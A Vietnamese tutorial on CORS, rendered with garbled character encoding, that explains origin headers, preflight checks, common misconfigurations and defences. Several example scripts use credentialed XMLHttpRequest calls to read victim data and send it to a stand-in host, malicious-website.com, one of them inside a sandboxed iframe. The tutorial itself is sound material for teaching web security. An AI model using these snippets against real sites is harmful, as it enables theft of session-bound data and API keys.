πCross-origin resource sharing (CORS)
What is CORS ?
Cross-origin resource sharing (CORS) lΓ mα»t cΖ‘ chαΊΏ trΓ¬nh duyα»t cho phΓ©p truy cαΊp tα»i nhiα»u tΓ i nguyΓͺn khΓ‘c nhau(nhΖ° JavaScript, fonts, ...) tα»« cΓ‘c domain khΓ‘c vα»i domain cα»§a trang ΔΓ³.
NΓ³ mα» rα»ng vΓ thΓͺm tΓnh linh hoαΊ‘t cho SOP. Tuy nhiΓͺn, nΓ³ cΕ©ng tiα»m αΊ©n nguy cΖ‘ xαΊ£y ra cΓ‘c cuα»c tαΊ₯n cΓ΄ng giα»―a cΓ‘c doamin nαΊΏu chΓnh sΓ‘ch CORS cα»§a trang web Δược Δα»nh cαΊ₯u hΓ¬nh vΓ triα»n khai yαΊΏu. CORS khΓ΄ng phαΊ£i lΓ biα»n phΓ‘p bαΊ£o vα» chα»ng lαΊ‘i cΓ‘c cuα»c tαΊ₯n cΓ΄ng cross-origin, chαΊ³ng hαΊ‘n nhΖ° giαΊ£ mαΊ‘o yΓͺu cαΊ§u trΓͺn nhiα»u trang web (CSRF).

Same-origin policy
CΓ‘c bαΊ‘n cΓ³ thα» Δα»c mα»t bΓ i mΓ¬nh research SOP α» ΔΓ’y
CORS and the Access-Control-Allow-Origin response header
What is the Access-Control-Allow-Origin response header?
Access-Control-Allow-Origin
header Δược bao gα»m response tα»« mα»t website tα»i mα»t request gα»c tα»« mα»t website khΓ‘c vΓ xΓ‘c Δα»nh nguα»n gα»c Δược permit cα»§a request. TrΓ¬nh duyα»t web so sΓ‘nh Access-Control-Allow-Origin
vα»i request gα»c cα»§a trang web vΓ cho phΓ©p truy cαΊp tα»i response nαΊΏu chΓΊng khα»p.
Implementing simple cross-origin resource sharing
Cross-origin resource sharing (CORS) quy Δα»nh rΓ΅ rΓ ng nα»i dung header giα»―a cΓ‘c web servers vΓ cΓ‘c trΓ¬nh duyα»t mΓ hαΊ‘n chαΊΏ origin cho tΓ i nguyΓͺn web request ngα»i domain gα»c. ΔαΊ·c tαΊ£ cα»§a CORS xΓ‘c Δα»nh rΓ΅ mα»t tαΊp hợp cΓ‘c header cα»§a giao thα»©c trong ΔΓ³ Access-Control-Allow-Origin lΓ quan trα»ng nhαΊ₯t. Nhα»―ng cΓ‘i header nΓ y Δược return bα»i mα»t server khi mα»t website requests mα»t cross-doamin resource vα»i mα»t Origin header Δược thΓͺm vΓ o trΓ¬nh duyα»t.
VΓ dα»₯: GiαΊ£ sα» mα»t website vα»i miα»n gα»c: shang.com thα»±c hiα»n mα»t cross-domain request sau:
GET /data HTTP/1.1
Host: robust-website.com
Origin : https://shang.com
Server α» sha1vu.com trαΊ£ vα» response sau:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://shang.com
Khi ΔΓ³ trΓ¬nh duyα»t sαΊ½ cho phΓ©p code chαΊ‘y trΓͺn shang.com Δược truy cαΊp tα»i response bα»i vΓ¬ Origin khα»p nhau.
ΔαΊ·c tαΊ£ cα»§a Access-Control-Allow-Origin cho phΓ©p nhiα»u origin(multiple) hoαΊ·c giΓ‘ trα» null hoαΊ·c kΓ½ tα»± ΔαΊ‘i diα»n * . Tuy nhiΓͺn khΓ΄ng trΓ¬nh duyα»t hα» trợ multiple origin vΓ cΓ³ nhα»―ng hαΊ‘n chαΊΏ vα» viα»c sα» dα»₯ng kΓ½ tα»± ΔαΊ‘i diα»n * .
Handling cross-origin resource requests with credentials
HΓ nh vi mαΊ·c Δα»nh cα»§a request cross-origin resource lΓ request Δược pass mΓ khΓ΄ng xΓ‘c Δinh nhΖ° cookies vΓ Authorization header. Tuy nhiΓͺn cross-domain server cΓ³ thα» cho phΓ©p Δα»c phαΊ£n hα»i khi thΓ΄ng tin xΓ‘c thα»±c Δược pass tα»i nΓ³ bα»i setting cα»§a CORS Access-Control-Allow-Credentials
header lΓ true. BΓ’y giα» nαΊΏu request cα»§a website sα» dα»₯ng JS Δα» trΓ¬nh bΓ y rαΊ±ng nΓ³ Δang gα»i cookie α» request:
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>
VΓ response tα»i request lΓ :
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
Sau ΔΓ³ trΓ¬nh duyα»t sαΊ½ cho phΓ©p request cα»§a website Δα»c response, bα»i vΓ¬ Access-Control-Allow-Credentials
response header Δược set lΓ : true
Relaxation of CORS specifications with wildcards
The header Access-Control-Allow-Origin
hα» trợ kΓ½ tα»± ΔαΊ‘i diα»n.
VΓ dα»₯:
Access-Control-Allow-Origin: *
Ghi chΓΊ rαΊ±ng kΓ½ tα»± ΔαΊ‘i diα»n cΓ³ thα» khΓ΄ng Δược sα» dα»₯ng vα»i bαΊ₯t kα»³ giΓ‘ trα» nΓ o. VΓ dα»₯ header sau ΔΓ’y khΓ΄ng hợp lα»:
Access-Control-Allow-Origin:
https://*.normal-website.com
Tα»« gΓ³c Δα» bαΊ£o mαΊt, viα»c sα» dα»₯ng kΓ½ tα»± ΔαΊ‘i diα»n bα» hαΊ‘n chαΊΏ trong ΔαΊ·c Δiα»m kα»Ή thuαΊt vΓ¬ bαΊ‘n khΓ΄ng thα» kαΊΏt hợp kΓ½ tα»± ΔαΊ‘i diα»n vα»i cross-origin viα»c chuyα»n giao thΓ΄ng tin xΓ‘c thα»±c (xΓ‘c thα»±c, cookie hoαΊ·c chα»©ng chα» phΓa khΓ‘ch hΓ ng). Do ΔΓ³, cross-domain server response cα»§a form:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
KhΓ΄ng Δược phΓ©p vΓ¬ Δiα»u nΓ y sαΊ½ khΓ΄ng an toΓ n, hiα»n thα» bαΊ₯t kα»³ nα»i dung xΓ‘c thα»±c nΓ o trΓͺn trang web mα»₯c tiΓͺu cho mα»i ngΖ°α»i.
Vα»i cΓ‘c rΓ ng buα»c nΓ y, mα»t sα» mΓ‘y chα»§ Web tα»± Δα»ng tαΊ‘o ra cΓ‘c Access-Control-Allow-Origin
header dα»±a trΓͺn the client-specified origin. ΔΓ’y lΓ mα»t cΓ‘ch giαΊ£i quyαΊΏt cho cΓ‘c rΓ ng buα»c CORS khΓ΄ng an toΓ n.
Pre-flight checks
Pre-flight checks ΔΓ£ Δược thΓͺm vΓ o ΔαΊ·c tαΊ£ CORS Δα» bαΊ£o vα» tΓ i nguyΓͺn kαΊΏ thα»«a khα»i cΓ‘c tΓΉy chα»n yΓͺu cαΊ§u mα» rα»ng Δược CORS cho phΓ©p.
Trong mα»t sα» trΖ°α»ng hợp nhαΊ₯t Δα»nh, khi yΓͺu cαΊ§u tα»« cross-domain bao gα»m phΖ°Ζ‘ng phΓ‘p HTTP hoαΊ·c tiΓͺu Δα» non-standard, cross-origin requests Δược Δi trΖ°α»c bα»i mα»t yΓͺu cαΊ§u sα» dα»₯ng OPTIONS
method vΓ CORS protocol cαΊ§n phαΊ£i kiα»m tra method vΓ header nΓ o Δược cho phΓ©p trΖ°α»c khi cho phΓ©p cross-origin request. ΔΓ’y Δược gα»i lΓ Prefligh Check. Server sαΊ½ trαΊ£ vα» mα»t danh sΓ‘ch cΓ‘c method Δược phΓ©p ngoΓ i origin ΔΓ‘ng tin cαΊy vΓ kiα»m tra trΓ¬nh duyα»t Δα» xem liα»u method cα»§a trang web yΓͺu cαΊ§u cΓ³ Δược phΓ©p khΓ΄ng.
VΓ dα»₯: ΔΓ’y lΓ yΓͺu cαΊ§u trΖ°α»c chuyαΊΏn bay Δang tΓ¬m cΓ‘ch sα» dα»₯ng phΖ°Ζ‘ng thα»©c nΓ y cΓΉng vα»i tiΓͺu Δα» yΓͺu cαΊ§u tΓΉy chα»nh Δược gα»i lΓ PUT
Special-Request-Header
:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
Server sαΊ½ trαΊ£ vα» response nhΖ° sau:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Response nΓ y set cΓ‘c method Δược cho phΓ©p (PUT
, POST
vΓ OPTIONS
) vΓ cΓ‘c request header Δược phΓ©p (Special-Request-Header). Trong trΖ°α»ng hợp cα»₯ thα» nΓ y, Cross-domain server cΕ©ng cho phΓ©p gα»i thΓ΄ng tin ΔΔng nhαΊp vΓ Access-Control-Max-Age header
xΓ‘c Δα»nh khung thα»i gian tα»i Δa Δα» lΖ°u trα»― pre-flight response
Δα» sα» dα»₯ng lαΊ‘i. NαΊΏu cΓ‘c request methods vΓ headers Δược cho phΓ©p (nhΖ° trong vΓ dα»₯ nΓ y) thΓ¬ trΓ¬nh duyα»t sαΊ½ xα» lΓ½ cross-origin request theo cΓ‘ch thΓ΄ng thΖ°α»ng. Pre-flight
sαΊ½ thΓͺm mα»t extra HTTP request vΓ o cross-domain request.
Does CORS protect against CSRF?
CORS khΓ΄ng cΕ©ng cαΊ₯p bαΊ£o vα» khα»i tαΊ₯n cΓ΄ng CSRF, ΔΓ’y lΓ mα»t nhαΊn Δα»nh sai lαΊ§m.
CORS lΓ Δược kiα»m soΓ‘t nα»i lα»ng SOP, do ΔΓ³ CORS Δược cαΊ₯u hΓ¬nh kΓ©m/yαΊΏu thα»±c sα»± cΓ³ thα» lΓ m tΔng khαΊ£ nΔng tαΊ₯n cΓ΄ng CSRF.
CΓ³ nhiα»u cΓ‘ch khΓ‘c nhau Δα» thα»±c hiα»n cΓ‘c cuα»c tαΊ₯n cΓ΄ng CSRF mΓ khΓ΄ng cαΊ§n sα» dα»₯ng CORS, bao gα»m cΓ‘c hΓ¬nh thα»©c HTML ΔΖ‘n giαΊ£n vΓ bao gα»m cross-domain resource.
Vulnerabilities arising from CORS configuration issues
Nhiα»u trang web hiα»n ΔαΊ‘i sα» dα»₯ng CORS Δα» cho phΓ©p truy cαΊp tα»« cΓ‘c domain phα»₯ vΓ cΓ‘c bΓͺn thα»© ba ΔΓ‘ng tin cαΊy. Viα»c thα»±c hiα»n CORS cα»§a hα» cΓ³ thα» chα»©a lα»i hoαΊ·c chαΊ―c chαΊ―n ΔαΊ£m bαΊ£o rαΊ±ng mα»i thα»© hoαΊ‘t Δα»ng bΓ¬nh thΖ°α»ng vΓ Δiα»u nΓ y cΓ³ thα» dαΊ«n ΔαΊΏn cΓ‘c lα» hα»ng cΓ³ thα» khai thΓ‘c. (Lα» hα»ng phΓ‘t sinh tα»« cΓ‘c vαΊ₯n Δα» cαΊ₯u hΓ¬nh CORS)\
Server-generated ACAO header from client-specified Origin header
Mα»t sα» α»©ng dα»₯ng cαΊ§n cung cαΊ₯p quyα»n truy cαΊp vΓ o mα»t sα» domain khΓ‘c. Duy trΓ¬ danh sΓ‘ch cΓ‘c doamin Δược phΓ©p yΓͺu cαΊ§u nα» lα»±c khΓ΄ng ngα»«ng vΓ bαΊ₯t kα»³ sai sΓ³t nΓ o cΕ©ng cΓ³ nguy cΖ‘ phΓ‘ vα»‘ chα»©c nΔng. VΓ¬ vαΊy, mα»t sα» α»©ng dα»₯ng sα» dα»₯ng con ΔΖ°α»ng dα» dΓ ng Δα» cho phΓ©p truy cαΊp hiα»u quαΊ£ tα»« bαΊ₯t kα»³ miα»n nΓ o khΓ‘c.
Mα»t cΓ‘ch Δα» thα»±c hiα»n viα»c nΓ y lΓ Δα»c Origin header tα»« cΓ‘c yΓͺu cαΊ§u vΓ bao gα»m response header cho biαΊΏt request origin Δược cho phΓ©p.
VΓ dα»₯: hΓ£y xem xΓ©t mα»t α»©ng dα»₯ng nhαΊn Δược request sau:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
Sau ΔΓ³ nΓ³ respond vα»i:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
CΓ‘c header nΓ y cho biαΊΏt rαΊ±ng quyα»n truy cαΊp Δược cho phΓ©p tα»« domain yΓͺu cαΊ§u (malicious-website.com
) vΓ cΓ‘c yΓͺu cαΊ§u trΓͺn nhiα»u origin cΓ³ thα» bao gα»m cookie (Access-Control-Allow-Credentials: true
) vΓ do ΔΓ³ sαΊ½ Δược xα» lΓ½ trong session.
Bα»i vΓ¬ α»©ng dα»₯ng reflect origin tΓΉy Γ½ trong Access-Control-Allow-Origin
header, Δiα»u nΓ y cΓ³ nghΔ©a lΓ hoΓ n toΓ n bαΊ₯t kα»³ miα»n nΓ o cΕ©ng cΓ³ thα» truy cαΊp tΓ i nguyΓͺn tα»« domain vuln. NαΊΏu response chα»©a bαΊ₯t kα»³ thΓ΄ng tin nhαΊ‘y cαΊ£m nΓ o nhΖ° API key hoαΊ·c token CSRF, bαΊ‘n cΓ³ thα» truy xuαΊ₯t Δiα»u nΓ y bαΊ±ng cΓ‘ch chαΊ‘y script sau trΓͺn trang web cα»§a bαΊ‘n:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
Errors parsing Origin headers
Mα»t sα» α»©ng dα»₯ng hα» trợ quyα»n truy cαΊp tα»« nhiα»u nguα»n gα»c lΓ m nhΖ° vαΊy bαΊ±ng cΓ‘ch sα» dα»₯ng danh sΓ‘ch trαΊ―ng cΓ³ nguα»n gα»c Δược phΓ©p. Khi nhαΊn Δược yΓͺu cαΊ§u CORS, nguα»n gα»c Δược cung cαΊ₯p Δược so sΓ‘nh vα»i danh sΓ‘ch trαΊ―ng. NαΊΏu nguα»n gα»c xuαΊ₯t hiα»n trΓͺn danh sΓ‘ch trαΊ―ng thΓ¬ nΓ³ Δược phαΊ£n Γ‘nh trong tiΓͺu Δα» cΓ³ nguα»n gα»c kiα»m soΓ‘t truy cαΊp Δα» truy cαΊp Δược cαΊ₯p. VΓ dα»₯: α»©ng dα»₯ng nhαΊn Δược mα»t yΓͺu cαΊ§u bΓ¬nh thΖ°α»ng nhΖ°:
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
Ứng dα»₯ng kiα»m tra Origin dα»±a trΓͺn list of origin Δược phΓ©p cα»§a nΓ³ vΓ , nαΊΏu nΓ³ nαΊ±m trong danh sΓ‘ch, reflect origin nhΖ° sau:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
CΓ‘c lα»i thΖ°α»ng phΓ‘t sinh khi triα»n khai whitelists CORS Orgin. Mα»t sα» tα» chα»©c quyαΊΏt Δα»nh cho phΓ©p truy cαΊp tα»« tαΊ₯t cαΊ£ cΓ‘c domain phα»₯ cα»§a hα» (bao gα»m cαΊ£ nhα»―ng subdomain chΖ°a tα»n tαΊ‘i trong tΖ°Ζ‘ng lai). VΓ mα»t sα» α»©ng dα»₯ng cho phΓ©p truy cαΊp tα»« nhiα»u domain cα»§a cΓ‘c tα» chα»©c khΓ‘c bao gα»m cαΊ£ domain phα»₯ cα»§a hα». CΓ‘c quy tαΊ―c nΓ y thΖ°α»ng Δược triα»n khai bαΊ±ng cΓ‘ch khα»p cΓ‘c tiα»n tα» hoαΊ·c hαΊu tα» URL hoαΊ·c sα» dα»₯ng cΓ‘c biα»u thα»©c thΓ΄ng thΖ°α»ng. BαΊ₯t kα»³ lα»i nΓ o trong quΓ‘ trΓ¬nh triα»n khai Δα»u cΓ³ thα» dαΊ«n ΔαΊΏn viα»c cαΊ₯p quyα»n truy cαΊp cho cΓ‘c miα»n bΓͺn ngoΓ i ngoΓ i Γ½ muα»n.
Note: CΓ‘c tα» chα»©c hay cΓ‘c Group tαΊp ΔoΓ n thΖ°α»ng sαΊ½ dΓΉng mα»t domain chΓnh vΓ tα»« ΔΓ³ chia ra cΓ‘c subdomain cho cΓ‘c mα»₯c ΔΓch khΓ‘c mΓ hα» cho phΓ©p cΓ‘c subdomain cα»§a α»©ng dα»₯ng ΔΓ³ cΓ³ thα» truy cαΊp tα»i tΓ i nguyΓͺn gα»c nhΖ° lΓ shang.vn thΓ¬ blog.shang.vn cΕ©ng cΓ³ thα» truy cαΊp tΓ i nguyΓͺn gα»c nhΖ°ng nαΊΏu hacker.shang.com thΓ¬ cΕ©ng cΓ³ thα»...
VΓ dα»₯: giαΊ£ sα» mα»t α»©ng dα»₯ng cαΊ₯p truy cαΊp cho toΓ n bα» domain kαΊΏt thΓΊc bαΊ±ng:
normal-website.com
KαΊ» tαΊ₯n cΓ΄ng cΓ³ thα» chiαΊΏm Δược truy cαΊp bαΊ±ng cΓ‘ch ΔΔng kΓ½ domain kiα»u nhΖ° nΓ y:
hackersnormal-website.com
NgoΓ i ra nαΊΏu α»©ng dα»₯ng cαΊ₯p truy cαΊp cho toΓ n bα» domain cΓ³ bαΊ―t ΔαΊ§u bαΊ±ng:
normal-website.com
KαΊ» tαΊ₯n cΓ΄ng cΓ³ thα» chiαΊΏm Δược truy cαΊp bαΊ±ng cΓ‘ch ΔΔng kΓ½ domain kiα»u nhΖ° nΓ y:
normal-website.com.evil-user.net
Whitelisted null origin value
ThΓ΄ng sα» kα»Ή thuαΊt cho Header Origin trợ giΓ‘ trα» . CΓ‘c trΓ¬nh duyα»t cΓ³ thα» gα»i giΓ‘ trα» trong Origin header trong cΓ‘c tΓ¬nh huα»ng bαΊ₯t thΖ°α»ng khΓ‘c nhau: null null
Cross-origin redirects.
Requests from serialized data.
Request using the protocol.
file:
Sandboxed cross-origin requests.
Mα»t sα» α»©ng dα»₯ng cΓ³ thα» ΔΖ°a ra whitelist cΓ³ orgin Δα» hα» trợ phΓ‘t triα»n Δα»a phΖ°Ζ‘ng cα»§a α»©ng dα»₯ng.
VΓ dα»₯: GiαΊ£ sα» mα»t α»©ng dα»₯ng nhαΊn Δược yΓͺu cαΊ§u cΓ³ nguα»n gα»c chΓ©o sau: null
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
VΓ server respond sαΊ½ nhΖ° nΓ y:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Trong tΓ¬nh huα»ng nΓ y, kαΊ» tαΊ₯n cΓ΄ng cΓ³ thα» sα» dα»₯ng cΓ‘c thα»§ thuαΊt khΓ‘c nhau Δα» tαΊ‘o yΓͺu cαΊ§u cΓ³ nguα»n gα»c chΓ©o cΓ³ chα»©a giΓ‘ trα» trong tiΓͺu Δα» gα»c. Δiα»u nΓ y sαΊ½ ΔΓ‘p α»©ng danh sΓ‘ch trαΊ―ng, dαΊ«n ΔαΊΏn truy cαΊp tΓͺn miα»n chΓ©o.
VΓ dα»₯: Δiα»u nΓ y cΓ³ thα» Δược thα»±c hiα»n bαΊ±ng cΓ‘ch sα» dα»₯ng mα»t sandboxed cross-origin request cα»§a form: null iframe
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
Exploiting XSS via CORS trust relationships
Ngay cαΊ£ CORS Δược Δα»nh cαΊ₯u hΓ¬nh "correctly" cΕ©ng thiαΊΏt lαΊp mα»i quan hα» tin cαΊy giα»―a hai nguα»n gα»c. NαΊΏu mα»t trang web tin tΖ°α»ng mα»t nguα»n gα»c dα» bα» tαΊ₯n cΓ΄ng bα»i tαΊp lα»nh chΓ©o trang (XSS), thΓ¬ kαΊ» tαΊ₯n cΓ΄ng cΓ³ thα» khai thΓ‘c XSS Δα» tiΓͺm mα»t sα» JavaScript sα» dα»₯ng CORS Δα» truy xuαΊ₯t thΓ΄ng tin nhαΊ‘y cαΊ£m tα»« trang web tin cαΊy α»©ng dα»₯ng dα» bα» tαΊ₯n cΓ΄ng.
Cho mα»t request nhΖ° sau:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
NαΊΏu server phαΊ£n hα»i nhΖ° nΓ y:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Sau ΔΓ³ kαΊ» tαΊ₯n cΓ΄ng tΓ¬m lα» hα»ng XSS Δα» cΓ³ thα» trα»m API Key, url nΓ³ sαΊ½ nhΖ° sau:subdomain.vulnerable-website.com
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
Breaking TLS with poorly configured CORS
GiαΊ£ sα» mα»t α»©ng dα»₯ng sα» dα»₯ng nghiΓͺm ngαΊ·t HTTPS cΕ©ng danh sΓ‘ch trαΊ―ng lΓ mα»t tΓͺn miα»n phα»₯ ΔΓ‘ng tin cαΊy Δang sα» dα»₯ng HTTP ΔΖ‘n giαΊ£n.
VΓ dα»₯: khi α»©ng dα»₯ng nhαΊn Δược yΓͺu cαΊ§u sau:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
Ứng dα»₯ng respond nhΖ° nΓ y:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Trong tΓ¬nh huα»ng nΓ y, mα»t kαΊ» tαΊ₯n cΓ΄ng cΓ³ thα» chαΊ·n lΖ°u lượng truy cαΊp cα»§a ngΖ°α»i dΓΉng nαΊ‘n nhΓ’n cΓ³ thα» khai thΓ‘c cαΊ₯u hΓ¬nh CORS Δα» thα»a hiα»p sα»± tΖ°Ζ‘ng tΓ‘c cα»§a nαΊ‘n nhΓ’n vα»i α»©ng dα»₯ng. Cuα»c tαΊ₯n cΓ΄ng nΓ y liΓͺn quan ΔαΊΏn cΓ‘c bΖ°α»c sau:
NgΖ°α»i dΓΉng sα»a dα»₯ng bαΊ₯t kα»³ HTTP request nΓ o
KαΊ» tαΊ₯n cΓ΄ng sαΊ½ inject mα»t redirection tα»i:
http://trusted-subdomain.vulnerable-website.com
TrΓ¬nh duyα»t cα»§a nαΊ‘n nhΓ’n sαΊ½ follow chuyα»n hΖ°α»ng:
KαΊ» tαΊ₯n cΓ΄ng chαΊ·n HTTP request ΔΖ‘n giαΊ£n vΓ return mα»t response giαΊ£ mαΊ‘o chα»© mα»t CORS request tα»i:
https://vulnerable-website.com
TrΓ¬nh duyα»t nαΊ‘n nhΓ’n sαΊ½ tαΊ‘o CORS request bao gα»m origin:
http://trusted-subdomain.vulnerable-website.com
Ứng dα»₯ng cho phΓ©p request vΓ¬ ΔΓ’y lΓ a whitelisted origin. Dα»― liα»u nhαΊ‘y cαΊ£m Δược Δược trαΊ£ vα» trong response.
Trang giαΊ£ mαΊ‘o cα»§a kαΊ» tαΊ₯n cΓ΄ng cΓ³ thα» Δα»c dα»― liα»u nhαΊ‘y cαΊ£m vΓ truyα»n dα»― liα»u ΔΓ³ ΔαΊΏn bαΊ₯t kα»³ domain nΓ o dΖ°α»i sα»± kiα»m soΓ‘t cα»§a kαΊ» tαΊ₯n cΓ΄ng.
Cuα»c tαΊ₯n cΓ΄ng nΓ y cΓ³ hiα»u quαΊ£ ngay cαΊ£ khi trang web dα» bα» tαΊ₯n cΓ΄ng mαΊ‘nh mαΊ½ trong viα»c sα» dα»₯ng HTTPS, khΓ΄ng cΓ³ endpoint HTTP vΓ tαΊ₯t cαΊ£ cΓ‘c cookie Δược gαΊ―n flag lΓ an toΓ n.
Intranets and CORS without credentials
HαΊ§u hαΊΏt tαΊ₯n cΓ΄ng CORS dα»±a vΓ o sα»± hiα»n diα»n cα»§a header response:
Access-Control-Allow-Credentials: true
NαΊΏu khΓ΄ng cΓ³ header ΔΓ³, trΓ¬nh duyα»t cα»§a ngΖ°α»i dΓΉng nαΊ‘n nhΓ’n sαΊ½ tα»« chα»i gα»i cookie cα»§a hα», cΓ³ nghΔ©a lΓ kαΊ» tαΊ₯n cΓ΄ng sαΊ½ chα» cΓ³ quyα»n truy cαΊp vΓ o nα»i dung khΓ΄ng xΓ‘c thα»±c mΓ hα» cΓ³ thα» dα» dΓ ng truy cαΊp bαΊ±ng cΓ‘ch duyα»t trα»±c tiαΊΏp vΓ o trang web ΔΓch.
Tuy nhiΓͺn, cΓ³ mα»t tΓ¬nh huα»ng phα» biαΊΏn trong ΔΓ³ kαΊ» tαΊ₯n cΓ΄ng khΓ΄ng thα» truy cαΊp trα»±c tiαΊΏp vΓ o mα»t trang web: khi ΔΓ³ lΓ mα»t phαΊ§n cα»§a mαΊ‘ng nα»i bα» cα»§a tα» chα»©c vΓ nαΊ±m trong khΓ΄ng gian Δα»a chα» IP riΓͺng tΖ°. CΓ‘c trang web nα»i bα» thΖ°α»ng Δược giα»― α» mα»t tiΓͺu chuαΊ©n bαΊ£o mαΊt thαΊ₯p hΖ‘n so vα»i cΓ‘c trang web bΓͺn ngoΓ i, cho phΓ©p kαΊ» tαΊ₯n cΓ΄ng tΓ¬m thαΊ₯y cΓ‘c lα» hα»ng vΓ truy cαΊp thΓͺm.
VΓ dα»₯: Cross-origin request trong mαΊ‘ng private cΓ³ thα» nhΖ° sau:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
Server tra vα»:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
MΓ‘y chα»§ α»©ng dα»₯ng Δang trust cΓ‘c yΓͺu cαΊ§u tΓ i nguyΓͺn tα»« bαΊ₯t kα»³ origin nΓ o mΓ khΓ΄ng cαΊ§n thΓ΄ng tin ΔΔng nhαΊp. NαΊΏu ngΖ°α»i dΓΉng trong khΓ΄ng gian Δα»a chα» IP riΓͺng tΖ° truy cαΊp Internet cΓ΄ng khai thΓ¬ cΓ³ thα» thα»±c hiα»n cuα»c tαΊ₯n cΓ΄ng dα»±a trΓͺn CORS tα»« trang web bΓͺn ngoΓ i sα» dα»₯ng trΓ¬nh duyα»t cα»§a nαΊ‘n nhΓ’n lΓ m proxy Δα» truy cαΊp tΓ i nguyΓͺn mαΊ‘ng nα»i bα».
How to prevent CORS-based attacks
CΓ‘c lα» hα»ng CORS phΓ‘t sinh chα»§ yαΊΏu dΖ°α»i dαΊ‘ng cαΊ₯u hΓ¬nh sai. Do ΔΓ³, phΓ²ng ngα»«a lΓ mα»t vαΊ₯n Δα» cαΊ₯u hΓ¬nh. CΓ‘c phαΊ§n sau ΔΓ’y mΓ΄ tαΊ£ mα»t sα» biα»n phΓ‘p phΓ²ng thα»§ hiα»u quαΊ£ chα»ng lαΊ‘i cΓ‘c cuα»c tαΊ₯n cΓ΄ng CORS.
Proper configuration of cross-origin requests
NαΊΏu mα»t tΓ i nguyΓͺn web chα»©a thΓ΄ng tin nhαΊ‘y cαΊ£m, nguα»n gα»c phαΊ£i Δược chα» Δα»nh ΔΓΊng trong header: Access-Control-Allow-Origin
Only allow trusted sites
NΓ³ cΓ³ vαΊ» hiα»n nhiΓͺn nhΖ°ng Origin Δược chα» Δα»nh trong header chα» nΓͺn lΓ cΓ‘c trang web ΔΓ‘ng tin cαΊy. ΔαΊ·c biα»t, viα»c reflect orgin tα»« cΓ‘c cross-origin requests mΓ khΓ΄ng cαΊ§n xΓ‘c thα»±c cΓ³ thα» dα»
dΓ ng khai thΓ‘c vΓ nΓͺn trΓ‘nh. Access-Control-Allow-Origin
Avoid whitelisting null
TrΓ‘nh sα» dα»₯ng header . Cross-origin resource gα»i tα»« cΓ‘c tΓ i liα»u nα»i bα» vΓ sandboxed requests cΓ³ thα» chα» Δα»nh Origin. CORS header nΓͺn Δược xΓ‘c Δα»nh ΔΓΊng Δα»i vα»i Origin ΔΓ‘ng tin cαΊy cho cΓ‘c mΓ‘y chα»§ riΓͺng vΓ cΓ΄ng cα»ng. Access-Control-Allow-Origin: null null
Avoid wildcards in internal networks
TrΓ‘nh sα» dα»₯ng kΓ½ tα»± ΔαΊ‘i diα»n trong mαΊ‘ng nα»i bα». Chα» tin tΖ°α»ng cαΊ₯u hΓ¬nh mαΊ‘ng Δα» bαΊ£o vα» tΓ i nguyΓͺn nα»i bα» lΓ khΓ΄ng Δα»§ khi cΓ‘c trΓ¬nh duyα»t nα»i bα» cΓ³ thα» truy cαΊp cΓ‘c domain bΓͺn ngoΓ i khΓ΄ng ΔΓ‘ng tin cαΊy.
CORS is not a substitute for server-side security policies
CORS xΓ‘c Δα»nh cΓ‘c hΓ nh vi cα»§a trΓ¬nh duyα»t vΓ khΓ΄ng bao giα» thay thαΊΏ cho viα»c bαΊ£o vα» dα»― liα»u nhαΊ‘y cαΊ£m phΓa mΓ‘y chα»§ - kαΊ» tαΊ₯n cΓ΄ng cΓ³ thα» trα»±c tiαΊΏp giαΊ£ mαΊ‘o yΓͺu cαΊ§u tα»« bαΊ₯t kα»³ nguα»n ΔΓ‘ng tin cαΊy nΓ o. Do ΔΓ³, mΓ‘y chα»§ web nΓͺn tiαΊΏp tα»₯c Γ‘p dα»₯ng cΓ‘c biα»n phΓ‘p bαΊ£o vα» Δα»i vα»i dα»― liα»u nhαΊ‘y cαΊ£m, chαΊ³ng hαΊ‘n nhΖ° authentication vΓ session management, ngoΓ i CORS Δược Δα»nh cαΊ₯u hΓ¬nh ΔΓΊng.
______________________________________________HαΊΏt___________________________________________________
Last updated